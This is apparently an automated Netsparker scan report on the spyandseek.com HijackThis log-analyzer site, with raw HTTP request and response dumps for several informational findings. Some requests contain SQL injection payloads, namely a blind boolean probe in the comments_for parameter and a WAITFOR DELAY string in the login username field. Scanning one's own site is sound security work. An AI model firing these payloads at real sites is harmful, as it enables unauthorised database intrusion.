<input type='text' name='q' size='60' maxlength='255' value='{E06E2E99-0AA1-11D4-ABA6-0060082AA75C}'></input> <br>
<input class='press' type='submit' name='sa' value='Google Search'></input>
<input type='hidden' name='client' value='pub-1674685026599860'></input>
<input type='hidden' name='forid' value='1'></input>
<input type='hidden' name='channel' value='7849628979'></input>
<input type='hidden' name='ie' value='ISO-8859-1'></input>
<input type='hidden' name='oe' value='ISO-8859-1'></input>
<input type='hidden' name='safe' value='active'></input>
<input type='hidden' name='cof' value='GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:ffffff;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;LH:41;LW:100;L:http://www.google.com/images/google_sm.gif;S:http://www.google.com/custom?hl=en&oe=ISO-8859-1&safe=active&client=pub-1674685026599860&channel=7849628979;LP:1;FORID:1'></input>
<input type='hidden' name='hl' value='en'></input>
</form></P> </div><br>
<table cellspacing='0'>
<tr ><th scope='col' align='left' colspan='3' ><table cellspacing='2' cellpadding='0' border='0'> <td><FORM method='post' action='Search.php4'><input type='hidden' name='navi' value='0' /><INPUT type='hidden' name='search_for' value='{E06E2E99-0AA1-11D4-ABA6-0060082AA75C}'> <INPUT class='press' type='submit' value='Next Pg'> </form></td> <td><FORM name='myform' method='post' action='Search.php4'><INPUT type='hidden' name='search_for' value='{E06E2E99-0AA1-11D4-ABA6-0060082AA75C}'><select name="navi" style="font-size:10px; height:20px; width:100px" size="1" onchange="submit()" ><option value='-30'>PG 1 </option><option value='-30'>1</option><option value='0'>2</option><option value='30'>3</option><option value='60'>4</option><option value='90'>5</option><option value='120'>6</option><option value='150'>7</option><option value='180'>8</option><option value='210'>9</option><option value='240'>10</option><option value='270'>11</option><option value='300'>12</option><option value='330'>13</option><option value='360'>14</option><option value='390'>15</option><option value='420'>16</option><option value='450'>17</option><option value='480'>18</option><option value='510'>19</option><option value='540'>20</option><option value='570'>21</option><option value='600'>22</option><option value='630'>23</option><option value='660'>24</option><option value='690'>25</option><option value='720'>26</option><option value='750'>27</option><option value='780'>28</option><option value='810'>29</option><option value='840'>30</option><option value='870'>31</option><option value='900'>32</option><option value='930'>33</option><option value='960'>34</option><option value='990'>35</option><option value='1020'>36</option><option value='1050'>37</option><option value='1080'>38</option><option value='1110'>39</option><option value='1140'>40</option><option value='1170'>41</option><option value='1200'>42</option><option value='1230'>43</option><option value='1260'>44</option><option value='1290'>45</option><option value='1320'>46</option><option value='1350'>47</option><option value='1380'>48</option><option value='1410'>49</option><option value='1440'>50</option><option value='1470'>51</option><option value='1500'>52</option><option value='1530'>53</option><option value='1560'>54</option><option value='1590'>55</option><option value='1620'>56</option><option value='1650'>57</option></select></form></td></table></table> <FORM method='post' action='sas.php4'><table class='maintable' ><tr><th scope='col' align='center' >Result</th>
<th scope='col' align='center' >Good-Bad</th>
<th scope='col' align='center' >Search</th>
<th scope='col' align='center' >Hijack This Log File Entry</th></tr>

<tr><td></td><td align='center'></td><td align='left'></td></tr><tr ><td align='center' bgcolor='#FF7619'>Bad</td><td align='center'>0 - 10</td><td align='center' ><a HREF='Search.php4?search_for={AD2EEC40-A10C-11D4-BD2C-002078181863}' target='_blank'>SS(1,690)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={AD2EEC40-A10C-11D4-BD2C-002078181863}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=11520' onClick=" launchWindow('SAScom.php4?comments_for=11520', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O9 - Extra button: @Home -<wbr>{AD2EEC40-A10C-11D4-BD2C-002078181863} -<wbr>http://home.excite.com (file missing) (HKCU)</td></tr><tr class='odd'><td align='center' bgcolor='#FF7619'>Bad</td><td align='center'>0 - 1</td><td align='center' ><a HREF='Search.php4?search_for={74D05D43-3236-11D4-BDCD-00C04F9A3B61}' target='_blank'>SS(1,699)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={74D05D43-3236-11D4-BDCD-00C04F9A3B61}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=14472' onClick=" launchWindow('SAScom.php4?comments_for=14472', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O16 - DPF: {74D05D43-3236-11D4-BDCD-00C04F9A3B61}<wbr>-</td></tr><tr ><td align='center' bgcolor='#FF7619'>Bad</td><td align='center'>0 - 1</td><td align='center' ><a HREF='Search.php4?search_for={1DF36010-E276-11D4-A7C0-00C04F0453DD}' target='_blank'>SS(1,685)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={1DF36010-E276-11D4-A7C0-00C04F0453DD}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=16269' onClick=" launchWindow('SAScom.php4?comments_for=16269', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O16 - DPF: {1DF36010-E276-11D4-A7C0-00C04F0453DD}<wbr>-</td></tr><tr class='odd'><td align='center' bgcolor='#FF7619'>Bad</td><td align='center'>0 - 1</td><td align='center' ><a HREF='Search.php4?search_for={6607C683-AE7C-11D4-ACD7-0050DAC291A2}' target='_blank'>SS(1,686)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={6607C683-AE7C-11D4-ACD7-0050DAC291A2}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=21194' onClick=" launchWindow('SAScom.php4?comments_for=21194', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O2 - BHO: OpinionBar IE monitor -<wbr>{6607C683-AE7C-11D4-ACD7-0050DAC291A2} -<wbr>C:\PROGRA~1\OPINIO~1\MYIEMO~2.DLL</td></tr><tr ><td align='center' bgcolor='#FF7619'>Bad</td><td align='center'>0 - 1</td><td align='center' ><a HREF='Search.php4?search_for={A51DEDCD-20F7-11D4-98A5-00C0CA130748}' target='_blank'>SS(1,689)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={A51DEDCD-20F7-11D4-98A5-00C0CA130748}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=21704' onClick=" launchWindow('SAScom.php4?comments_for=21704', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O16 - DPF: {A51DEDCD-20F7-11D4-98A5-00C0CA130748}<wbr>- http://exe.dialer.tintel.nl/tcw.cab</td></tr><tr class='odd'><td align='center' bgcolor='#FF7619'>Bad</td><td align='center'>0 - 1</td><td align='center' ><a HREF='Search.php4?search_for={E06E2E99-0AA1-11D4-ABA6-0060082AA75C}' target='_blank'>SS(1,686)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={E06E2E99-0AA1-11D4-ABA6-0060082AA75C}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=25301' onClick=" launchWindow('SAScom.php4?comments_for=25301', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O16 - DPF: {E06E2E99-0AA1-11D4-ABA6-0060082AA75C}<wbr>(GpcContainer Class) -<wbr>https://pc.mywebexpc.com/client/v_mywebex-aa/ra/ie<wbr>atgpc.cab</td></tr><tr ><td align='center' bgcolor='#FF7619'>Bad</td><td align='center'>0 - 1</td><td align='center' ><a HREF='Search.php4?search_for={E06E2E99-0AA1-11D4-ABA6-0060082AA75C}' target='_blank'>SS(1,686)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={E06E2E99-0AA1-11D4-ABA6-0060082AA75C}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=25719' onClick=" launchWindow('SAScom.php4?comments_for=25719', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O16- DPF: {E06E2E99-0AA1-11D4-ABA6-0060082AA75C}<wbr>(GpcContainer Class)<wbr>-https://pc.mywebexpc.com/client/v_mywebex-aa/ra/i<wbr>eatgpc.cab</td></tr><tr class='odd'><td align='center' bgcolor='#FF7619'>Bad</td><td align='center'>0 - 1</td><td align='center' ><a HREF='Search.php4?search_for={E06E2E99-0AA1-11D4-ABA6-0060082AA75C}' target='_blank'>SS(1,686)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={E06E2E99-0AA1-11D4-ABA6-0060082AA75C}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=26423' onClick=" launchWindow('SAScom.php4?comments_for=26423', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O16 - DPF: {E06E2E99-0AA1-11D4-ABA6-0060082AA75C}<wbr>-<wbr>https://inges.webex.com/client/v_mywebex/webex/iea<wbr>tgpc.cab</td></tr><tr ><td align='center' bgcolor='#FF7619'>Bad</td><td align='center'>0 - 1</td><td align='cen..
Forbidden Resource

Forbidden Resource
1 TOTAL
INFORMATION
CONFIRMED
1
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.

Impact

There is no impact resulting from this issue.
- /Images/

/Images/ CONFIRMED

http://www.spyandseek.com/Images/

Request

GET /Images/ HTTP/1.1
Referer: http://www.spyandseek.com/Images/Superhero.gif
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Cookie: PHPSESSID=78dc515921c88469fd044ccae7fd588b
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 403 Forbidden
Date: Wed, 28 Sep 2011 16:08:23 GMT
Server: Apache
Accept-Ranges: bytes
Content-Length: 1741
Content-Type: text/html


<HTML>
<HEAD><TITLE>Page Not Found</TITLE></HEAD>

<BODY BGCOLOR="#FFFFFF" LINK="maroon" VLINK="maroon"
ALINK="maroon">
<CENTER>
<TABLE WIDTH="85%" BORDER="1" BORDERCOLOR="#000000"
CELLSPACING="0" CELLPADDING="3">
<TR>
<TD BGCOLOR="#e5dccd">
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0"
WIDTH="100%">
<TR>
<TD WIDTH="40%"><IMG
SRC="https://imagesak.securepaynet.net/hosting/hdr_sorry_small.gif" BORDER="1"
BORDERCOLOR="#000000"></TD>
<TD ALIGN="CENTER"><H2 STYLE="font-family: arial,
sans-serif">Page Not Found</H2></TD>
</TR>
</TABLE>
</TD>
</TR>
<TR>
<TD>
<P STYLE="margin-left: 10px; margin-right: 10px; margin-top: 10px;
margin-bottom: 10px; font-size: 10pt; font-family: arial, sans-serif">
The page you tried to access does not exist on this server. This
page may not exist due to the following reasons:
<OL><LI STYLE="font-size: 10pt; font-family: arial,
sans-serif"><STRONG>You are the owner of this web site and you have not
uploaded</STRONG> (or incorrectly uploaded) your web site. For information
on uploading your web site using FTP client software or web design
software, <A
HREF="http://ftphelp.secureserver.net/index.html">click
here for FTP Upload Information</A>.
<P>
<LI STYLE="font-size: 10pt; font-family: arial,
sans-serif"><STRONG>The URL that you have entered in your browser is
incorrect.</STRONG> Please re-enter the URL and try again.
<P>
<LI STYLE="font-size: 10pt; font-family: arial,
sans-serif"><STRONG>The Link that you clicked on incorrectly points to
this page.</STRONG> Please contact the owner of this web site to inform
them of this situation.
</OL>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
File Upload Functionality Identified

File Upload Functionality Identified
1 TOTAL
INFORMATION
CONFIRMED
1
This page allows users to upload files to the web server. Upload forms are generally dangerous unless they are coded with a great deal of care. This issue is reported for information only. If there is any other vulnerability identified regarding this resource Netsparker will report it as a separate issue.
- /

/ CONFIRMED

http://www.spyandseek.com/

Form Name

userfile

Request

GET / HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:08:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=06203e1dac1900fd5fb9a0c8b2ff6e1d; path=/
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Spy And Seek the HijackThis Log Analyzer</title>
<meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
<META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix. '/>
<META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='Title' CONTENT='HijackThis Logfile Analyzer'>
<style type='text/css' media='all'>@import 'CSS/global.css';</style>
<style type='text/css' media='all'>@import 'CSS/lightbox.css';</style>

<!--[if lte IE 6]><style type='text/css' media='all'>@import 'CSS/ie6.css';</style><![endif]-->
<!--[if gt IE 6]><style type='text/css' media='all'>@import 'CSS/ie7.css';</style><![endif]--><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='Robots' CONTENT='INDEX,FOLLOW'><link rel='shortcut icon' ico = image/x-icon href='http://www.spyandseek.com/favicon.ico'><script type="text/javascript">
<!--
function errorMsg()
{
alert("Netscape 6 or Mozilla Firefox is needed to install a search plugin.");
}
function addEngine(name,ext,cat)
{
if ((typeof window.sidebar == "object") && (typeof
window.sidebar.addSearchEngine == "function"))
{
//cat="Web"; //cat=prompt('In what category should this engine be installed?','Web')window.sidebar.addSearchEngine(
"http://www.spyandseek.com/firefoxplugins/"+name+".src",
"http://www.spyandseek.com/firefoxplugins/"+name+"."+ext,
name,
cat );
}
else
{
errorMsg();
}
}
//-->
</script></HEAD><Body><script type="text/javascript" ><!-- function launchWindow(url, features) { window.open(url, "_blank", features);} // --> </script><div id='container'>
<div id='header'>
<h1><a href='index.php4'><img src='Images/Superhero.gif' width='32px' hight='32px'>SpyAndSeek</a></h1>
<div class='side-header'> <a href='login.php4' id='section-profile'>LogIn</a>
<form action='Search.php4' method='get' id='search' onsubmit='Search.php4' class='search-compact' >
<input type='hidden' name='search' value='search' /><input type='text' name='search_for' maxlength='254' id='top-keywords' value='Search...' onfocus=" if(this.value=='Search...')this.value=''; " onblur= " if(this.value=='')this.value='Search...'; " /> <input type='image' id='top-submit' src='Images/search.gif' alt='Search' />
</form>
</div>

<div id='header-primary' >
<div>

</div>

<ul>
<li class='header-all'><a href='index.php4' ><strong>Home</strong></a></li><li class='header-all'><a href='http://blog.spyandseek.com'><strong>Blog</strong></a></li>
<li class='header-all'><a href='login.php4'><strong>LogIn</strong></a></li>
<li class='header-all'><a href='store.php4'><strong>Store</strong></a></li>
<li class='header-allt'><a href='contact.php4'><strong>Contact Me</strong></a></li>
<li class='menu-container current'><a href='FAQ.php4'><strong>FAQ</strong></a></li>

</ul>
</div><div id='header-secondary'>
<ul>
<li ><a href='logja-vu.php4'><strong>Logja-vu</strong></a></li>
<li ><a href='newgood.php4'><strong>Good</strong></a></li>
<li ><a href='newbad.php4'><strong>Bad</strong></a></li>
<li ><a href='topunknown.php4'><strong>Unknown</strong></a></li>
</ul>
</div></div><div id='contents'><div id='wrapper'><div class='sidebar'>

<div class='side-container' style='display: none'>
<div class='side-options'></div>
</div>
<div class='side-container'><p class='first'>


</p>
</div>
<div class="side-container">
<script type="text/javascript"><!--
google_ad_client = "pub-1674685026599860";
/* 160x600, created 6/5/09 */
google_ad_slot = "3236620257";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
</div><div class='main'><div id='announce'><p>
Helpful Software:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download'> HijackThis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=AVG%20Anti-Virus'> AVG Anti-Virus </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=MalwareBytes'> MalwareBytes </a><img src='Images/Superhero.gif' width='10px' hight='10px'> <a href="javascript:addEngine('SpyandSeek','png','Web')" title='Install 'SpyandSeek' Firefox Search Plugin'>Firefox Search Plugin</a><img src='Images/Superhero.gif' width='10px' hight='10px'>

<br>Suggested Reading:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Analysis'> Malware Analysis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Removal'> Malware Removal </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=steal%20this%20computer%20book'> PC Security Secrets </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
</p>
</div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'>
<form action="Analize.php4" method="post" enctype="multipart/form-data">
<div><p align=center>
<strong>Browse to a HijackThis logfile on your computer. <br >Then Press the Analyze
button.</strong><br > <br >
<input name="userfile" type="file" id="userfile" size="45" />
<!-- MAX_FILE_SIZE must precede the file input field -->
<input type="hidden" name="MAX_FILE_SIZE" value="102400" />

<br />
<input class='press' name="upload" type="submit" id="upload" value="Analyze" /><br>
</p><BR><BR> </div>
</form>
</div></div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'>

<table class='maintable'><tr><th scope='col' align='center' >DataBase Summary</th></tr><tr align='center'><td>There are a total of <b>19,561</b> Entries classified as <b>BAD</b> in our Database.</td><tr><tr class='odd' align='center'><td>There are a total of <b>221,074</b> Entries classified as <b>UNKNOWN</b> in our Database.</td></tr><tr align='center'><td>There are a total of <b>100,143</b> Entries classified as <b>GOOD</b> in our Database.</td></tr><tr class='odd' align='center'><td>Remember to SAS in our <a href='newgood.php4' >Good</a> , <a href='newbad.php4' >Bad</a> and <a href='topunknown.php4' >Unknown</a></td></tr><tr><th scope='col' align='center' >5 Newest Bad Entries</th></tr><tr><td>O2 - BHO: BitTorrentBar -<wbr>{88c7f2aa-f93f-432c-8f0e-b7d85967a527} -<wbr>C:\Program Files\BitTorrentBar\prxtbBit0.dll </td></tr><tr class='odd'><td>O3 - Toolbar: BitTorrentBar Toolbar -<wbr>{88c7f2aa-f93f-432c-8f0e-b7d85967a527} -<wbr>C:\Program Files\BitTorrentBar\prxtbBit0.dll </td></tr><tr><td>O3 - Toolbar: (no name) -<wbr>!{9D425283-D487-4337-BAB6-AB8354A81457} - (no<wbr>file) </td></tr><tr class='odd'><td>O3 - Toolbar: GamesBar -<wbr>{6F282B65-56BF-4BD1-A8B2-A4449A05863D} -<wbr>C:\Program Files<wbr>(x86)\GamesBar\2.0.1.82\oberontb.dll </td></tr><tr><td>O9 - Extra button: (no name) -<wbr>{1A93C934-025B-4c3a-B38E-9654A7003239} -<wbr>C:\Program Files<wbr>(x86)\GamesBar\2.0.1.82\oberontb.dll </td></tr></table><!--"end tubular data here"--></div>
</div><!--"end main content here"--></div></div><br style='clear: both;' />

</div>

<div id='footer'>
<div class='footer-contents'><div class='footer-contents2'>
<div class='col'>
<dl class='col-prime'>
<dt>Site Links</dt>
<dd><a href='index.php4'>Home</a></dd>
<dd><a href='store.php4'>Store</a></dd>


<dd><a href='contact.php4'>Contact</a></dd>
<dd><a href='faq.php4'>FAQ</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt>Filters</dt>

<dd><a href='logja-vu.php4'>Logja-vu</a> </dd>
<dd><a href='newgood.php4'>Good</a></dd>
<dd><a href='newbad.php4'>Bad</a></dd>
<dd><a href='topunknown.php4'>Unknown</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt >Bloggs</dt>
<dd><a href='http://blog.spyandseek.com'>SpyandSeek</a> </dd>

<dd>
<a href='http://sunbeltblog.blogspot.com/'>Sun Belt</a> </dd>
</dl>
</div>
<div class='col-last'>
<div id='P_TownhallFooter' ><dl>

<dd></dd></dl>
</div>
</div></div></div>

<br style='clear: both;' />
</div>

<div class='copyright'><div>
<img src='Images/Superhero.gif' width='40' height='40' alt='Superhero' />
&copy; SpyAndSeek 2007 &#8212; User-posted content, unless source quoted, <!--Creative Commons License--> is licensed under a <a rel='license' href='http://creativecommons.org/licenses/publicdomain/'>Creative Commons Public Domain License</a>.<!--/Creative Commons License--><!-- <rdf:RDF xmlns='http://web.resource.org/cc/' xmlns:dc='http://purl.org/dc/elements/1.1/' xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<Work rdf:about=''>
<license rdf:resource='http://creativecommons.org/licenses/publicdomain/' />
<dc:title>spyandseek.com user contributed content</dc:title>
<dc:rights><Agent><dc:title>sas users</dc:title></Agent></dc:rights>
</Work>
<License rdf:about='http://creativecommons.org/licenses/publicdomain/'><permits rdf:resource='http://web.resource.org/cc/Reproduction'/><permits rdf:resource='http://web.resource.org/cc/Distribution'/><subClassOf xmlns='' rdf:resource='http://web.resource.org/cc/PublicDomain'/><permits rdf:resource='http://web.resource.org/cc/DerivativeWorks'/></License></rdf:RDF> -->

<br />

</div>
</div></div><script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src=' + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-10862430-1");
pageTracker._trackPageview();
} catch(err) {}</script>



</body>
</html>

MySQL Database Identified

MySQL Database Identified
1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only. There is no direct impact arising from this issue.
- /SAScom.php4

/SAScom.php4 CONFIRMED

http://www.spyandseek.com/SAScom.php4?comments_for=-1%20OR%201=1%20AND%201=(SELECT%20IF((IFNULL(ASCI..

Request

GET /SAScom.php4?comments_for=-1%20OR%201=1%20AND%201=(SELECT%20IF((IFNULL(ASCII(SUBSTRING((SELECT%20CONCAT(CHAR(78),CHAR(69),CHAR(84),CHAR(83),CHAR(80),CHAR(65),CHAR(82),CHAR(75),CHAR(69),CHAR(82))),5,1)),0)=88),1,2))--%20 HTTP/1.1
Referer: http://www.spyandseek.com/newgood.php4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Cookie: PHPSESSID=4ce00b41ca749e8efe61ee2d9937edab
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:13:28 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<HTML><HEAD><TITLE>Spy And Seek the HijackThis Log Analyzer</TITLE><meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1'/> <META NAME='Title' CONTENT='HijackThis Logfile Analyzer'><META NAME='Author' CONTENT='Brett Goldenberg'><META NAME='Copyright' CONTENT='Brett Goldenberg 2004-2006'> <META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix, '/><META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='Robots' CONTENT='INDEX,FOLLOW'><link rel='shortcut icon' href='Images/Superhero.ico'><link rel='stylesheet' href='CSS/comm.css' type='text/css'></HEAD><Body><font style='font-size: 10pt' face=' Verdana, Tahoma, Arial' size='2'> <p align='center'><b><u>Comments</u></b></p><table width='97%' align='center' cellpadding='0' cellspacing='0' border='0' class='MainTable'><tr> <td> <div align='center'> </div> </td> </tr> <tr><td class='MessageCell'><p>No comments yet. <br><br><span class='byline'>Comment By: NoOne</span></p><hr /></td></tr></table><BR>






</font>

</BODY>
</HTML>
Redirect Response BODY Is Too Large

Redirect Response BODY Is Too Large
1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the response from the page returned an HTTP Redirect Status but output more information than usual. This generally indicates that, after redirect, the page did not finish the response as it was supposed to.

Impact

This can lead to serious issues such as authentication bypass in authentication required pages. In other pages it generally indicates a programming error.

Remedy

Finish the HTTP response after you redirect the user.

In ASP.NET use Response.Redirect("redirected-page.aspx", true); instead of Response.Redirect("redirected-page.aspx", false); In PHP applications call exit(); after you redirect the user.
- /login.php4

/login.php4 CONFIRMED

http://www.spyandseek.com/login.php4

Parameters

Parameter Type Value
form2_username POST ';WAITFOR DELAY '0:0:25'--
form2_email POST netsparker@example.com
form2_pass1 POST 3
form2_pass2 POST 3
action POST new

Request

POST /login.php4 HTTP/1.1
Referer: http://www.spyandseek.com/login.php4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.spyandseek.com
Cookie: PHPSESSID=4ce00b41ca749e8efe61ee2d9937edab
Content-Length: 127
Expect: 100-continue
Accept-Encoding: gzip, deflate

form2_username=%27;WAITFOR%20DELAY%20%270:0:25%27--&form2_email=netsparker%40example.com&form2_pass1=3&form2_pass2=3&action=new

Response

HTTP/1.1 302 Found
Date: Wed, 28 Sep 2011 16:12:43 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: newuser.php4
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Spy And Seek the HijackThis Log Analyzer</title>
<meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
<META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix. '/>
<META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='Title' CONTENT='HijackThis Logfile Analyzer'>
<style type='text/css' media='all'>@import 'CSS/global.css';</style>
<style type='text/css' media='all'>@import 'CSS/lightbox.css';</style>

<!--[if lte IE 6]><style type='text/css' media='all'>@import 'CSS/ie6.css';</style><![endif]-->
<!--[if gt IE 6]><style type='text/css' media='all'>@import 'CSS/ie7.css';</style><![endif]--><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='Robots' CONTENT='INDEX,FOLLOW'><link rel='shortcut icon' ico = image/x-icon href='http://www.spyandseek.com/favicon.ico'><script type="text/javascript">
<!--
function errorMsg()
{
alert("Netscape 6 or Mozilla Firefox is needed to install a search plugin.");
}
function addEngine(name,ext,cat)
{
if ((typeof window.sidebar == "object") && (typeof
window.sidebar.addSearchEngine == "function"))
{
//cat="Web"; //cat=prompt('In what category should this engine be installed?','Web')window.sidebar.addSearchEngine(
"http://www.spyandseek.com/firefoxplugins/"+name+".src",
"http://www.spyandseek.com/firefoxplugins/"+name+"."+ext,
name,
cat );
}
else
{
errorMsg();
}
}
//-->
</script></HEAD><Body><script type="text/javascript" ><!-- function launchWindow(url, features) { window.open(url, "_blank", features);} // --> </script><div id='container'>
<div id='header'>
<h1><a href='index.php4'><img src='Images/Superhero.gif' width='32px' hight='32px'>SpyAndSeek</a></h1>
<div class='side-header'> <a href='login.php4' id='section-profile'>LogIn</a>
<form action='Search.php4' method='get' id='search' onsubmit='Search.php4' class='search-compact' >
<input type='hidden' name='search' value='search' /><input type='text' name='search_for' maxlength='254' id='top-keywords' value='Search...' onfocus=" if(this.value=='Search...')this.value=''; " onblur= " if(this.value=='')this.value='Search...'; " /> <input type='image' id='top-submit' src='Images/search.gif' alt='Search' />
</form>
</div>

<div id='header-primary' >
<div>

</div>

<ul>
<li class='header-all'><a href='index.php4' ><strong>Home</strong></a></li><li class='header-all'><a href='http://blog.spyandseek.com'><strong>Blog</strong></a></li>
<li class='header-all'><a href='login.php4'><strong>LogIn</strong></a></li>
<li class='header-all'><a href='store.php4'><strong>Store</strong></a></li>
<li class='header-allt'><a href='contact.php4'><strong>Contact Me</strong></a></li>
<li class='menu-container current'><a href='FAQ.php4'><strong>FAQ</strong></a></li>

</ul>
</div><div id='header-secondary'>
<ul>
<li ><a href='logja-vu.php4'><strong>Logja-vu</strong></a></li>
<li ><a href='newgood.php4'><strong>Good</strong></a></li>
<li ><a href='newbad.php4'><strong>Bad</strong></a></li>
<li ><a href='topunknown.php4'><strong>Unknown</strong></a></li>
</ul>
